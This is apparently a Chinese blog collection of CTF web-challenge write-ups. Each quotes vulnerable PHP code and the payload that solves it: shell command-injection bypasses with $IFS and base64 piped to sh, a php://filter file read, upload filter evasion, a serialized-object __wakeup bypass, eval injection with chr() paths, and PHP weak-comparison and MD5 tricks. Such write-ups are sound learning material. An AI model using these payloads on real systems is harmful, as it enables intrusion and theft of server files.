[GXYCTF2019]Ping Ping Ping
?ip=
根据页面提示,似乎是要给ip
传参,但是如果参数里有空格,他就会骂你:fxck your space!
,所以先用ls
看到当前目录下有个flag.php
那么看来就是要想办法查看这个flag.php
的内容
绕开空格可以用以下方法
cat${IFS}flag.txt
cat$IFS$9flag.txt //在这道题里$1-$9都可以
cat<flag.txt
cat<>flag.txt
Shell 脚本中有个变量叫 IFS(Internal Field Seprator) ,内部域分隔符。完整定义是The shell uses the value stored in IFS, which is the space, tab, and newline characters by default, to delimit words for the read and set commands, when parsing output from command substitution, and when performing variable substitution.
但是很可惜,他还有别的限制
fxck your symbol!
,使用?ip=127.0.0.1;cat$IFS$1index.php
拿到源码<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\-->|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
接着开始绕过,先对cat flag.php
进行base64
编码,再用base64 -d
解码,最后在通过sh
执行,最终执行的就是cat flag.php
payload: echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
其他解法
在网上看到更方便的
- payload:
cat$IFS$9'ls'
内联,就是将反引号内命令的输出作为输入执行。 - payload:
a=g;cat$IFS$1fla$a.php
变量替换
[极客大挑战 2019]Secret File
根据提示,在burp中找到了真实的地址secr3t.php
,得到以下代码
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
根据提示,应该去flag.php
中找答案,但是如果直接file=flag.php
是什么也看不到的
所以使用伪协议尝试读取flag.php
的源代码file=php://filter/read=convert.base64-encode/resource=flag.php
//PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MDJhMjUyNjYtMjRhNy00YWYyLWE1MTMtYTBlNDYxZjIzMjIzfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{02a25266-24a7-4af2-a513-a0e461f23223}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
拿到flag
[极客大挑战 2019]Http
F12看网页源码,发现
于是直接访问,secret.php
然后根据提示修改请求的header
拿到flag
[极客大挑战 2019]Upload
打开题目发现是上传文件
测试后发现,拦截了文件名.php
文件头不是图片的 和 <?= <?php
所以选择第三种形式<script language="php">
和 .phtml
绕过
最后在upload/
下找到文件,拿到flag
[ACTF2020 新生赛]Upload
和上一道一样,这道题限制更少
burp拦截,然后发送后缀为.phtml
即可
[极客大挑战 2019]PHP
打开网页,看到提示,有备份文件,下载备份www.zip
在index.php
文件里看到代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
发现是一道序列化问题,接着打开class.php
看到代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
因为没有waf,所以直接构造
<?php
class Name{
private $username = "admin";
private $password = 100;
}
$c = new Name();
echo serialize($c);
只需要绕过__wakeup()
所以最终payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[ACTF2020 新生赛]BackupFile
根据提示寻找源码index.php.bak
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
由于使用了弱类型比较,所以我们的key=123
即可
[RoarCTF 2019]Easy Calc
查看源码,发现是get请求了calc.php?num=
,访问calc.php
得到源码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
尝试了直接访问,发现会出现403,那就应该是前面注释里提到的waf了,这里使用PHP会过滤请求中的空格来绕过
用%20num=print_r(scandir(chr(47)))
得到目录信息
Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1
最后的payload:?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
[极客大挑战 2019]BuyFlag
打开发现有几个要求,必须是CUIT学生,要有正确的密码和足够的钱
首先发现cookie
里有个user=0
,改成user=1
后成为学生
然后F12发现密码和钱的要求
//~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
这里考察了php
中弱比较的问题,密码要求是等于404但是又不能是数字,所以password=404a
,404后面的字母会在比较的时候自动被PHP忽略。
但是如果直接提交money=100000000
,则会提示Nember lenth is too long
,尝试使用科学计数法绕过money=1e10
,拿到flag
[BJDCTF2020]Easy MD5
在header里看到提示:select * from 'admin' where password=md5($pass,true)
百度出来是ffifdyop
来到第二个页面
// 这里是做完后拿到源码的样子,提示处仅有if比较条件
<?php
error_reporting(0);
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo "<script>window.location.replace('./levell14.php')</script>";
}
?>
根据提示,==
绕过,选择数组
来到第三个页面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
依旧采用数组绕过,拿到flag
0e
会被当作科学计数法,表示0*10的n次方,在弱类型比较的时候会被计算为0从而相等。QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这里提供几个经过md5计算后开头是0e的
同样第三部分可以考虑禁止通过数组绕过,在比较前将类型强制转换为string即可